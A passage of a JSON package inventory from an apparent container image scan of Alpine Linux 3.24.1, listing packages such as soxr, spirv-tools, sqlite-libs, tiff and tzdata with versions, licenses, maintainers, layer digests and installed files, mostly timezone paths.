"Identifier": { "PURL": "pkg:apk/alpine/soxr@0.1.3-r7?arch=x86_64\u0026distro=3.24.1", "UID": "2ffd75d955370439" }, "Version": "0.1.3-r7", "Arch": "x86_64", "SrcName": "soxr", "SrcVersion": "0.1.3-r7", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "libgomp@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6c6fa7cb509cb01cee50e4506a3473d623121d7f", "InstalledFiles": [ "usr/lib/libsoxr-lsr.so.0", "usr/lib/libsoxr-lsr.so.0.1.9", "usr/lib/libsoxr.so.0", "usr/lib/libsoxr.so.0.1.2" ], "AnalyzedBy": "apk" }, { "ID": "speexdsp@1.2.1-r2", "Name": "speexdsp", "Identifier": { "PURL": "pkg:apk/alpine/speexdsp@1.2.1-r2?arch=x86_64\u0026distro=3.24.1", "UID": "f2a002b882fa02bd" }, "Version": "1.2.1-r2", "Arch": "x86_64", "SrcName": "speexdsp", "SrcVersion": "1.2.1-r2", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f2fcc262f45daee3b7fa55ca2a32ed69367fc92e", "InstalledFiles": [ "usr/lib/libspeexdsp.so.1", "usr/lib/libspeexdsp.so.1.5.2" ], "AnalyzedBy": "apk" }, { "ID": "spirv-tools@1.4.341.0-r0", "Name": "spirv-tools", "Identifier": { "PURL": "pkg:apk/alpine/spirv-tools@1.4.341.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "57459714ad5caa43" }, "Version": "1.4.341.0-r0", "Arch": "x86_64", "SrcName": "spirv-tools", "SrcVersion": "1.4.341.0-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "DependsOn": [ "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6a1dfa56f156ee15b6b34e4925e8804e33fa2c96", "InstalledFiles": [ "usr/bin/spirv-as", "usr/bin/spirv-cfg", "usr/bin/spirv-diff", "usr/bin/spirv-dis", "usr/bin/spirv-lesspipe.sh", "usr/bin/spirv-link", "usr/bin/spirv-lint", "usr/bin/spirv-objdump", "usr/bin/spirv-opt", "usr/bin/spirv-reduce", "usr/bin/spirv-val", "usr/lib/libSPIRV-Tools-diff.so", "usr/lib/libSPIRV-Tools-link.so", "usr/lib/libSPIRV-Tools-lint.so", "usr/lib/libSPIRV-Tools-opt.so", "usr/lib/libSPIRV-Tools-reduce.so", "usr/lib/libSPIRV-Tools-shared.so", "usr/lib/libSPIRV-Tools.so" ], "AnalyzedBy": "apk" }, { "ID": "sqlite-libs@3.53.2-r0", "Name": "sqlite-libs", "Identifier": { "PURL": "pkg:apk/alpine/sqlite-libs@3.53.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "3821e0dd391eb2f" }, "Version": "3.53.2-r0", "Arch": "x86_64", "SrcName": "sqlite", "SrcVersion": "3.53.2-r0", "Licenses": [ "blessing" ], "Maintainer": "Jingyun Hua \u003chuajingyun@loongson.cn\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:1ffdc7c1d7b2c221306068c3ab0222fa0777b0c3", "InstalledFiles": [ "usr/lib/libsqlite3.so.0", "usr/lib/libsqlite3.so.3.53.2" ], "AnalyzedBy": "apk" }, { "ID": "sratom@0.6.20-r0", "Name": "sratom", "Identifier": { "PURL": "pkg:apk/alpine/sratom@0.6.20-r0?arch=x86_64\u0026distro=3.24.1", "UID": "1a4d9fa0057e69f1" }, "Version": "0.6.20-r0", "Arch": "x86_64", "SrcName": "sratom", "SrcVersion": "0.6.20-r0", "Licenses": [ "ISC" ], "Maintainer": "David Demelier \u003cmarkand@malikania.fr\u003e", "DependsOn": [ "musl@1.2.6-r2", "serd-libs@0.32.8-r0", "sord-libs@0.16.22-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:fd1746545200e9f37b72cdb6e0e582f074763538", "InstalledFiles": [ "usr/lib/libsratom-0.so.0", "usr/lib/libsratom-0.so.0.6.20" ], "AnalyzedBy": "apk" }, { "ID": "ssl_client@1.37.0-r31", "Name": "ssl_client", "Identifier": { "PURL": "pkg:apk/alpine/ssl_client@1.37.0-r31?arch=x86_64\u0026distro=3.24.1", "UID": "2884df80ae89778e" }, "Version": "1.37.0-r31", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r31", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libssl3@3.5.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:c220f4a5125a313af733e98def94132bb1e9d40d", "InstalledFiles": [ "usr/bin/ssl_client" ], "AnalyzedBy": "apk" }, { "ID": "tdb-libs@1.4.15-r1", "Name": "tdb-libs", "Identifier": { "PURL": "pkg:apk/alpine/tdb-libs@1.4.15-r1?arch=x86_64\u0026distro=3.24.1", "UID": "45d67cd8e2e1cdb4" }, "Version": "1.4.15-r1", "Arch": "x86_64", "SrcName": "tdb", "SrcVersion": "1.4.15-r1", "Licenses": [ "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:ab79bec659f17a395063cfffb5e3bde8f5043a18", "InstalledFiles": [ "usr/lib/libtdb.so.1", "usr/lib/libtdb.so.1.4.15" ], "AnalyzedBy": "apk" }, { "ID": "tiff@4.7.1-r0", "Name": "tiff", "Identifier": { "PURL": "pkg:apk/alpine/tiff@4.7.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "fc4006af0e688094" }, "Version": "4.7.1-r0", "Arch": "x86_64", "SrcName": "tiff", "SrcVersion": "4.7.1-r0", "Licenses": [ "libtiff" ], "Maintainer": "Michael Mason \u003cms13sp@gmail.com\u003e", "DependsOn": [ "libjpeg-turbo@3.1.3-r0", "libwebp@1.6.0-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0", "zstd-libs@1.5.7-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:77c59d67df13e8dabe5c2ea9464572e12919fd12", "InstalledFiles": [ "usr/lib/libtiff.so.6", "usr/lib/libtiff.so.6.2.0" ], "AnalyzedBy": "apk" }, { "ID": "tzdata@2026b-r0", "Name": "tzdata", "Identifier": { "PURL": "pkg:apk/alpine/tzdata@2026b-r0?arch=x86_64\u0026distro=3.24.1", "UID": "71d7d50eaadd80dc" }, "Version": "2026b-r0", "Arch": "x86_64", "SrcName": "tzdata", "SrcVersion": "2026b-r0", "Licenses": [ "Public-Domain" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:c40d8eda63eeafd4460f25f5da45f824b3df277d", "InstalledFiles": [ "usr/share/zoneinfo/CET", "usr/share/zoneinfo/CST6CDT", "usr/share/zoneinfo/Cuba", "usr/share/zoneinfo/EET", "usr/share/zoneinfo/EST", "usr/share/zoneinfo/EST5EDT", "usr/share/zoneinfo/Egypt", "usr/share/zoneinfo/Eire", "usr/share/zoneinfo/Factory", "usr/share/zoneinfo/GB", "usr/share/zoneinfo/GB-Eire", "usr/share/zoneinfo/GMT", "usr/share/zoneinfo/GMT+0", "usr/share/zoneinfo/GMT-0", "usr/share/zoneinfo/GMT0", "usr/share/zoneinfo/Greenwich", "usr/share/zoneinfo/HST", "usr/share/zoneinfo/Hongkong", "usr/share/zoneinfo/Iceland", "usr/share/zoneinfo/Iran", "usr/share/zoneinfo/Israel", "usr/share/zoneinfo/Jamaica", "usr/share/zoneinfo/Japan", "usr/share/zoneinfo/Kwajalein", "usr/share/zoneinfo/Libya", "usr/share/zoneinfo/MET", "usr/share/zoneinfo/MST", "usr/share/zoneinfo/MST7MDT", "usr/share/zoneinfo/NZ", "usr/share/zoneinfo/NZ-CHAT", "usr/share/zoneinfo/Navajo", "usr/share/zoneinfo/PRC", "usr/share/zoneinfo/PST8PDT", "usr/share/zoneinfo/Poland", "usr/share/zoneinfo/Portugal", "usr/share/zoneinfo/ROC", "usr/share/zoneinfo/ROK", "usr/share/zoneinfo/Singapore", "usr/share/zoneinfo/Turkey", "usr/share/zoneinfo/UCT", "usr/share/zoneinfo/UTC", "usr/share/zoneinfo/Universal", "usr/share/zoneinfo/W-SU", "usr/share/zoneinfo/WET", "usr/share/zoneinfo/Zulu", "usr/share/zoneinfo/iso3166.tab", "usr/share/zoneinfo/leap-seconds.list", "usr/share/zoneinfo/posixrules", "usr/share/zoneinfo/zone.tab", "usr/share/zoneinfo/zone1970.tab", "usr/share/zoneinfo/Africa/Abidjan", "usr/share/zoneinfo/Africa/Accra", "usr/share/zoneinfo/Africa/Addis_Ababa", "usr/share/zoneinfo/Africa/Algiers", "usr/share/zoneinfo/Africa/Asmara", "usr/share/zoneinfo/Africa/Asmera", "usr/share/zoneinfo/Africa/Bamako", "usr/share/zoneinfo/Africa/Bangui", "usr/share/zoneinfo/Africa/Banjul", "usr/share/zoneinfo/Africa/Bissau", "usr/share/zoneinfo/Africa/Blantyre", "usr/share/zoneinfo/Africa/Brazzaville", "usr/share/zoneinfo/Africa/Bujumbura", "usr/share/zoneinfo/Africa/Cairo", "usr/share/zoneinfo/Africa/Casablanca", "usr/share/zoneinfo/Africa/Ceuta", "usr/share/zoneinfo/Africa/Conakry", "usr/share/zoneinfo/Africa/Dakar", "usr/share/zoneinfo/Africa/Dar_es_Salaam", "usr/share/zoneinfo/Africa/Djibouti", "usr/share/zoneinfo/Africa/Douala", "usr/share/zoneinfo/Africa/El_Aaiun", "usr/share/zoneinfo/Africa/Freetown", "usr/share/zoneinfo/Africa/Gaborone", "usr/share/zoneinfo/Africa/Harare", "usr/share/zoneinfo/Africa/Johannesburg", "usr/share/zoneinfo/Africa/Juba", "usr/share/zoneinfo/Africa/Kampala", "usr/share/zoneinfo/Africa/Khartoum", "usr/share/zoneinfo/Africa/Kigali", "usr/share/zoneinfo/Africa/Kinshasa", "usr/share/zoneinfo/Africa/Lagos", "usr/share/zoneinfo/Africa/Libreville", "usr/share/zoneinfo/Africa/Lome", "usr/share/zoneinfo/Africa/Luanda", "usr/share/zoneinfo/Africa/Lubumbashi", "usr/share/zoneinfo/Africa/Lusaka", "usr/share/zoneinfo/Africa/Malabo", "usr/share/zoneinfo/Africa/Maputo", "usr/share/zoneinfo/Africa/Maseru", "usr/share/zoneinfo/Africa/Mbabane", "usr/share/zoneinfo/Africa/Mogadishu", "usr/share/zoneinfo/Africa/Monrovia", "usr/share/zoneinfo/Africa/Nairobi", "usr/share/zoneinfo/Africa/Ndjamena", "usr/share/zoneinfo/Africa/Niamey", "usr/share/zoneinfo/Africa/Nouakchott", "usr/share/zoneinfo/Africa/Ouagadougou", "usr/share/zoneinfo/Africa/Porto-Novo", "usr/share/zoneinfo/Africa/Sao_Tome", "usr/share/zoneinfo/Africa/Timbuktu", "usr/share/zoneinfo/Africa/Tripoli", "usr/share/zoneinfo/Africa/Tunis", "usr/share/zoneinfo/Africa/Windhoek", "usr/share/zoneinfo/America/Adak", "usr/share/zoneinfo/America/Anchorage", "usr/share/zoneinfo/America/Anguilla", "usr/share/zoneinfo/America/Antigua", "usr/share/zoneinfo/America/Araguaina", "usr/share/zoneinfo/America/Aruba", "usr/share/zoneinfo/America/Asuncion", "usr/share/zoneinfo/America/Atikokan", "usr/share/zoneinfo/America/Atka", "usr/share/zoneinfo/America/Bahia", "usr/share/zoneinfo/America/Bahia_Banderas", "usr/share/zoneinfo/America/Barbados", "usr/share/zoneinfo/America/Belem", "usr/share/zoneinfo/America/Belize", "usr/share/zoneinfo/America/Blanc-Sablon", "usr/share/zoneinfo/America/Boa_Vista", "usr/share/zoneinfo/America/Bogota", "usr/share/zoneinfo/America/Boise", "usr/share/zoneinfo/America/Buenos_Aires", "usr/share/zoneinfo/America/Cambridge_Bay", "usr/share/zoneinfo/America/Campo_Grande", "usr/share/zoneinfo/America/Cancun", "usr/share/zoneinfo/America/Caracas", "usr/share/zoneinfo/America/Catamarca", "usr/share/zoneinfo/America/Cayenne", "usr/share/zoneinfo/America/Cayman", "usr/share/zoneinfo/America/Chicago", "usr/share/zoneinfo/America/Chihuahua", "usr/share/zoneinfo/America/Ciudad_Juarez", "usr/share/zoneinfo/America/Coral_Harbour", "usr/share/zoneinfo/America/Cordoba", "usr/share/zoneinfo/America/Costa_Rica", "usr/share/zoneinfo/America/Coyhaique", "usr/share/zoneinfo/America/Creston", "usr/share/zoneinfo/America/Cuiaba", "usr/share/zoneinfo/America/Curacao", "usr/share/zoneinfo/America/Danmarkshavn", "usr/share/zoneinfo/America/Dawson", "usr/share/zoneinfo/America/Dawson_Creek", "usr/share/zoneinfo/America/Denver", "usr/share/zoneinfo/America/Detroit", "usr/share/zoneinfo/America/Dominica", "usr/share/zoneinfo/America/Edmonton", "usr/share/zoneinfo/America/Eirunepe", "usr/share/zoneinfo/America/El_Salvador", "usr/share/zoneinfo/America/Ensenada", "usr/share/zoneinfo/America/Fort_Nelson", "usr/share/zoneinfo/America/Fort_Wayne", "usr/share/zoneinfo/America/Fortaleza", "usr/share/zoneinfo/America/Glace_Bay", "usr/share/zoneinfo/America/Godthab", "usr/share/zoneinfo/America/Goose_Bay", "usr/share/zoneinfo/America/Grand_Turk", "usr/share/zoneinfo/America/Grenada", "usr/share/zoneinfo/America/Guadeloupe", "usr/share/zoneinfo/America/Guatemala", "usr/share/zoneinfo/America/Guayaquil", "usr/share/zoneinfo/America/Guyana", "usr/share/zoneinfo/America/Halifax", "usr/share/zoneinfo/America/Havana", "usr/share/zoneinfo/America/Hermosillo", "usr/share/zoneinfo/America/Indianapolis", "usr/share/zoneinfo/America/Inuvik", "usr/share/zoneinfo/America/Iqaluit", "usr/share/zoneinfo/America/Jamaica", "usr/share/zoneinfo/America/Jujuy", "usr/share/zoneinfo/America/Juneau", "usr/share/zoneinfo/America/Knox_IN", "usr/share/zoneinfo/America/Kralendijk", "usr/share/zoneinfo/America/La_Paz", "usr/share/zoneinfo/America/Lima", "usr/share/zoneinfo/America/Los_Angeles", "usr/share/zoneinfo/America/Louisville", "usr/share/zoneinfo/America/Lower_Princes", "usr/share/zoneinfo/America/Maceio", "usr/share/zoneinfo/America/Managua", "usr/share/zoneinfo/America/Manaus", "usr/share/zoneinfo/America/Marigot", "usr/share/zoneinfo/America/Martinique", "usr/share/zoneinfo/America/Matamoros", "usr/share/zoneinfo/America/Mazatlan", "usr/share/zoneinfo/America/Mendoza", "usr/share/zoneinfo/America/Menominee", "usr/share/zoneinfo/America/Merida", "usr/share/zoneinfo/America/Metlakatla", "usr/share/zoneinfo/America/Mexico_City", "usr/share/zoneinfo/America/Miquelon", "usr/share/zoneinfo/America/Moncton", "usr/share/zoneinfo/America/Monterrey", "usr/share/zoneinfo/America/Montevideo", "usr/share/zoneinfo/America/Montreal", "usr/share/zoneinfo/America/Montserrat", "usr/share/zoneinfo/America/Nassau", "usr/share/zoneinfo/America/New_York", "usr/share/zoneinfo/America/Nipigon", "usr/share/zoneinfo/America/Nome", "usr/share/zoneinfo/America/Noronha", "usr/share/zoneinfo/America/Nuuk", "usr/share/zoneinfo/America/Ojinaga", "usr/share/zoneinfo/America/Panama", "usr/share/zoneinfo/America/Pangnirtung", "usr/share/zoneinfo/America/Paramaribo", "usr/share/zoneinfo/America/Phoenix", "usr/share/zoneinfo/America/Port-au-Prince", "usr/share/zoneinfo/America/Port_of_Spain", "usr/share/zoneinfo/America/Porto_Acre", "usr/share/zoneinfo/America/Porto_Velho", "usr/share/zoneinfo/America/Puerto_Rico", "usr/share/zoneinfo/America/Punta_Arenas", "usr/share/zoneinfo/America/Rainy_River", "usr/share/zoneinfo/America/Rankin_Inlet", "usr/share/zoneinfo/America/Recife", "usr/share/zoneinfo/America/Regina", "usr/share/zoneinfo/America/Resolute", "usr/share/zoneinfo/America/Rio_Branco", "usr/share/zoneinfo/America/Rosario", "usr/share/zoneinfo/America/Santa_Isabel", "usr/share/zoneinfo/America/Santarem", "usr/share/zoneinfo/America/Santiago", "usr/share/zoneinfo/America/Santo_Domingo", "usr/share/zoneinfo/America/Sao_Paulo", "usr/share/zoneinfo/America/Scoresbysund", "usr/share/zoneinfo/America/Shiprock", "usr/share/zoneinfo/America/Sitka", "usr/share/zoneinfo/America/St_Barthelemy", "usr/share/zoneinfo/America/St_Johns", "usr/share/zoneinfo/America/St_Kitts", "usr/share/zoneinfo/America/St_Lucia", "usr/share/zoneinfo/America/St_Thomas", "usr/share/zoneinfo/America/St_Vincent", "usr/share/zoneinfo/America/Swift_Current", "usr/share/zoneinfo/America/Tegucigalpa", "usr/share/zoneinfo/America/Thule", "usr/share/zoneinfo/America/Thunder_Bay", "usr/share/zoneinfo/America/Tijuana", "usr/share/zoneinfo/America/Toronto", "usr/share/zoneinfo/America/Tortola", "usr/share/zoneinfo/America/Vancouver", "usr/share/zoneinfo/America/Virgin", "usr/share/zoneinfo/America/Whitehorse", "usr/share/zoneinfo/America/Winnipeg", "usr/share/zoneinfo/America/Yakutat", "usr/share/zoneinfo/America/Yellowknife", "usr/share/zoneinfo/America/Argentina/Buenos_Aires", "usr/share/zoneinfo/America/Argentina/Catamarca", "usr/share/zoneinfo/America/Argentina/ComodRivadavia", "usr/share/zoneinfo/America/Argentina/Cordoba", "usr/share/zoneinfo/America/Argentina/Jujuy", "usr/share/zoneinfo/America/Argentina/La_Rioja", "usr/share/zoneinfo/America/Argentina/Mendoza", "usr/share/zoneinfo/America/Argentina/Rio_Gallegos", "usr/share/zoneinfo/America/Argentina/Salta", "usr/share/zoneinfo/America/Argentina/San_Juan", "usr/share/zoneinfo/America/Argentina/San_Luis", "usr/share/zoneinfo/America/Argentina/Tucuman", "usr/share/zoneinfo/America/Argentina/Ushuaia", "usr/share/zoneinfo/America/Indiana/Indianapolis", "usr/share/zoneinfo/America/Indiana/Knox", "usr/share/zoneinfo/America/Indiana/Marengo", "usr/share/zoneinfo/America/Indiana/Petersburg", "usr/share/zoneinfo/America/Indiana/Tell_City", "usr/share/zoneinfo/America/Indiana/Vevay", "usr/share/zoneinfo/America/Indiana/Vincennes", "usr/share/zoneinfo/America/Indiana/Winamac", "usr/share/zoneinfo/America/Kentucky/Louisville", "usr/share/zoneinfo/America/Kentucky/Monticello", "usr/share/zoneinfo/America/North_Dakota/Beulah", "usr/share/zoneinfo/America/North_Dakota/Center", "usr/share/zoneinfo/America/North_Dakota/New_Salem", "usr/share/zoneinfo/Antarctica/Casey", "usr/share/zoneinfo/Antarctica/Davis", "usr/share/zoneinfo/Antarctica/DumontDUrville", "usr/share/zoneinfo/Antarctica/Macquarie", "usr/share/zoneinfo/Antarctica/Mawson", "usr/share/zoneinfo/Antarctica/McMurdo", "usr/share/zoneinfo/Antarctica/Palmer", "usr/share/zoneinfo/Antarctica/Rothera", "usr/share/zoneinfo/Antarctica/South_Pole", "usr/share/zoneinfo/Antarctica/Syowa", "usr/share/zoneinfo/Antarctica/Troll", "usr/share/zoneinfo/Antarctica/Vostok", "usr/share/zoneinfo/Arctic/Longyearbyen", "usr/share/zoneinfo/Asia/Aden", "usr/share/zoneinfo/Asia/Almaty", "usr/share/zoneinfo/Asia/Amman", "usr/share/zoneinfo/Asia/Anadyr", "usr/share/zoneinfo/Asia/Aqtau", "usr/share/zoneinfo/Asia/Aqtobe", "usr/share/zoneinfo/Asia/Ashgabat", "usr/share/zoneinfo/Asia/Ashkhabad", "usr/share/zoneinfo/Asia/Atyrau", "usr/share/zoneinfo/Asia/Baghdad", "usr/share/zoneinfo/Asia/Bahrain", "usr/share/zoneinfo/Asia/Baku", "usr/share/zoneinfo/Asia/Bangkok", "usr/share/zoneinfo/Asia/Barnaul", "usr/share/zoneinfo/Asia/Beirut", "usr/share/zoneinfo/Asia/Bishkek", "usr/share/zoneinfo/Asia/Brunei", "usr/share/zoneinfo/Asia/Calcutta", "usr/share/zoneinfo/Asia/Chita", "usr/share/zoneinfo/Asia/Choibalsan", "usr/share/zoneinfo/Asia/Chongqing", "usr/share/zoneinfo/Asia/Chungking", "usr/share/zoneinfo/Asia/Colombo", "usr/share/zoneinfo/Asia/Dacca", "usr/share/zoneinfo/Asia/Damascus", "usr/share/zoneinfo/Asia/Dhaka", "usr/share/zoneinfo/Asia/Dili", "usr/share/zoneinfo/Asia/Dubai", "usr/share/zoneinfo/Asia/Dushanbe", "usr/share/zoneinfo/Asia/Famagusta", "usr/share/zoneinfo/Asia/Gaza", "usr/share/zoneinfo/Asia/Harbin", "usr/share/zoneinfo/Asia/Hebron", "usr/share/zoneinfo/Asia/Ho_Chi_Minh", "usr/share/zoneinfo/Asia/Hong_Kong", "usr/share/zoneinfo/Asia/Hovd", "usr/share/zoneinfo/Asia/Irkutsk", "usr/share/zoneinfo/Asia/Istanbul", "usr/share/zoneinfo/Asia/Jakarta", "usr/share/zoneinfo/Asia/Jayapura", "usr/share/zoneinfo/Asia/Jerusalem", "usr/share/zoneinfo/Asia/Kabul", "usr/share/zoneinfo/Asia/Kamchatka", "usr/share/zoneinfo/Asia/Karachi", "usr/share/zoneinfo/Asia/Kashgar", "usr/share/zoneinfo/Asia/Kathmandu", "usr/share/zoneinfo/Asia/Katmandu", "usr/share/zoneinfo/Asia/Khandyga", "usr/share/zoneinfo/Asia/Kolkata", "usr/share/zoneinfo/Asia/Krasnoyarsk", "usr/share/zoneinfo/Asia/Kuala_Lumpur", "usr/share/zoneinfo/Asia/Kuching", "usr/share/zoneinfo/Asia/Kuwait", "usr/share/zoneinfo/Asia/Macao", "usr/share/zoneinfo/Asia/Macau", "usr/share/zoneinfo/Asia/Magadan", "usr/share/zoneinfo/Asia/Makassar", "usr/share/zoneinfo/Asia/Manila", "usr/share/zoneinfo/Asia/Muscat", "usr/share/zoneinfo/Asia/Nicosia", "usr/share/zoneinfo/Asia/Novokuznetsk", "usr/share/zoneinfo/Asia/Novosibirsk", "usr/share/zoneinfo/Asia/Omsk", "usr/share/zoneinfo/Asia/Oral", "usr/share/zoneinfo/Asia/Phnom_Penh", "usr/share/zoneinfo/Asia/Pontianak", "usr/share/zoneinfo/Asia/Pyongyang", "usr/share/zoneinfo/Asia/Qatar", "usr/share/zoneinfo/Asia/Qostanay", "usr/share/zoneinfo/Asia/Qyzylorda", "usr/share/zoneinfo/Asia/Rangoon", "usr/share/zoneinfo/Asia/Riyadh", "usr/share/zoneinfo/Asia/Saigon", "usr/share/zoneinfo/Asia/Sakhalin", "usr/share/zoneinfo/Asia/Samarkand", "usr/share/zoneinfo/Asia/Seoul", "usr/share/zoneinfo/Asia/Shanghai", "usr/share/zoneinfo/Asia/Singapore", "usr/share/zoneinfo/Asia/Srednekolymsk", "usr/share/zoneinfo/Asia/Taipei", "usr/share/zoneinfo/Asia/Tashkent", "usr/share/zoneinfo/Asia/Tbilisi", "usr/share/zoneinfo/Asia/Tehran", "usr/share/zoneinfo/Asia/Tel_Aviv", "usr/share/zoneinfo/Asia/Thimbu", "usr/share/zoneinfo/Asia/Thimphu", "usr/share/zoneinfo/Asia/Tokyo", "usr/share/zoneinfo/Asia/Tomsk", "usr/share/zoneinfo/Asia/Ujung_Pandang", "usr/share/zoneinfo/Asia/Ulaanbaatar", "usr/share/zoneinfo/Asia/Ulan_Bator", "usr/share/zoneinfo/Asia/Urumqi", "usr/share/zoneinfo/Asia/Ust-Nera", "usr/share/zoneinfo/Asia/Vientiane", "usr/share/zoneinfo/Asia/Vladivostok", "usr/share/zoneinfo/Asia/Yakutsk", "usr/share/zoneinfo/Asia/Yangon", "usr/share/zoneinfo/Asia/Yekaterinburg", "usr/share/zoneinfo/Asia/Yerevan", "usr/share/zoneinfo/Atlantic/Azores", "usr/share/zoneinfo/Atlantic/Bermuda", "usr/share/zoneinfo/Atlantic/Canary", "usr/share/zoneinfo/Atlantic/Cape_Verde", "usr/share/zoneinfo/Atlantic/Faeroe", "usr/share/zoneinfo/Atlantic/Faroe", "usr/share/zoneinfo/Atlantic/Jan_Mayen", "usr/share/zoneinfo/Atlantic/Madeira", "usr/share/zoneinfo/Atlantic/Reykjavik", "usr/share/zoneinfo/Atlantic/South_Georgia", "usr/share/zoneinfo/Atlantic/St_Helena", "usr/share/zoneinfo/Atlantic/Stanley", "usr/share/zoneinfo/Australia/ACT", "usr/share/zoneinfo/Australia/Adelaide", "usr/share/zoneinfo/Australia/Brisbane", "usr/share/zoneinfo/Australia/Broken_Hill", "usr/share/zoneinfo/Australia/Canberra", "usr/share/zoneinfo/Australia/Currie", "usr/share/zoneinfo/Australia/Darwin", "usr/share/zoneinfo/Australia/Eucla", "usr/share/zoneinfo/Australia/Hobart", "usr/share/zoneinfo/Australia/LHI", "usr/share/zoneinfo/Australia/Lindeman", "usr/share/zoneinfo/Australia/Lord_Howe", "usr/share/zoneinfo/Australia/Melbourne", "usr/share/zoneinfo/Australia/NSW", "usr/share/zoneinfo/Australia/North", "usr/share/zoneinfo/Australia/Perth", "usr/share/zoneinfo/Australia/Queensland", "usr/share/zoneinfo/Australia/South", "usr/share/zoneinfo/Australia/Sydney", "usr/share/zoneinfo/Australia/Tasmania", "usr/share/zoneinfo/Australia/Victoria", "usr/share/zoneinfo/Australia/West", "usr/share/zoneinfo/Australia/Yancowinna", "usr/share/zoneinfo/Brazil/Acre", "usr/share/zoneinfo/Brazil/DeNoronha", "usr/share/zoneinfo/Brazil/East", "usr/share/zoneinfo/Brazil/West", "usr/share/zoneinfo/Canada/Atlantic", "usr/share/zoneinfo/Canada/Central", "usr/share/zoneinfo/Canada/Eastern", "usr/share/zoneinfo/Canada/Mountain", "usr/share/zoneinfo/Canada/Newfoundland", "usr/share/zoneinfo/Canada/Pacific", "usr/share/zoneinfo/Canada/Saskatchewan", "usr/share/zoneinfo/Canada/Yukon", "usr/share/zoneinfo/Chile/Continental", "usr/share/zoneinfo/Chile/EasterIsland", "usr/share/zoneinfo/Etc/GMT", "usr/share/zoneinfo/Etc/GMT+0", "usr/share/zoneinfo/Etc/GMT+1", "usr/share/zoneinfo/Etc/GMT+10", "usr/share/zoneinfo/Etc/GMT+11", "usr/share/zoneinfo/Etc/GMT+12", "usr/share/zoneinfo/Etc/GMT+2", "usr/share/zoneinfo/Etc/GMT+3", "usr/share/zoneinfo/Etc/GMT+4", "usr/share/zoneinfo/Etc/GMT+5", "usr/share/zoneinfo/Etc/GMT+6", "usr/share/zoneinfo/Etc/GMT+7", "usr/share/zoneinfo/Etc/GMT+8", "usr/share/zoneinfo/Etc/GMT+9", "usr/share/zoneinfo/Etc/GMT-0", "usr/share/zoneinfo/Etc/GMT-1", "usr/share/zoneinfo/Etc/GMT-10", "usr/share/zoneinfo/Etc/GMT-11", "usr/share/zoneinfo/Etc/GMT-12", "usr/share/zoneinfo/Etc/GMT-13", "usr/share/zoneinfo/Etc/GMT-14", "usr/share/zoneinfo/Etc/GMT-2", "usr/share/zoneinfo/Etc/GMT-3", "usr/share/zoneinfo/Etc/GMT-4", "usr/share/zoneinfo/Etc/GMT-5", "usr/share/zoneinfo/Etc/GMT-6", "usr/share/zoneinfo/Etc/GMT-7", "usr/share/zoneinfo/Etc/GMT-8", "usr/share/zoneinfo/Etc/GMT-9", "usr/share/zoneinfo/Etc/GMT0", "usr/share/zoneinfo/Etc/Greenwich", "usr/share/zoneinfo/Etc/UCT", "usr/share/zoneinfo/Etc/UTC", "usr/share/zoneinfo/Etc/Universal", "usr/share/zoneinfo/Etc/Zulu", "usr/share/zoneinfo/Europe/Amsterdam", "usr/share/zoneinfo/Europe/Andorra", "usr/share/zoneinfo/Europe/Astrakhan", "usr/share/zoneinfo/Europe/Athens", "usr/share/zoneinfo/Europe/Belfast", "usr/share/zoneinfo/Europe/Belgrade", "usr/share/zoneinfo/Europe/Berlin", "usr/share/zoneinfo/Europe/Bratislava", "usr/share/zoneinfo/Europe/Brussels", "usr/share/zoneinfo/Europe/Bucharest", "usr/share/zoneinfo/Europe/Budapest", "usr/share/zoneinfo/Europe/Busingen", "usr/share/zoneinfo/Europe/Chisinau", "usr/share/zoneinfo/Europe/Copenhagen", "usr/share/zoneinfo/Europe/Dublin", "usr/share/zoneinfo/Europe/Gibraltar", "usr/share/zoneinfo/Europe/Guernsey", "usr/share/zoneinfo/Europe/Helsinki", "usr/share/zoneinfo/Europe/Isle_of_Man", "usr/share/zoneinfo/Europe/Istanbul", "usr/share/zoneinfo/Europe/Jersey", "usr/share/zoneinfo/Europe/Kaliningrad", "usr/share/zoneinfo/Europe/Kiev", "usr/share/zoneinfo/Europe/Kirov", "usr/share/zoneinfo/Europe/Kyiv", 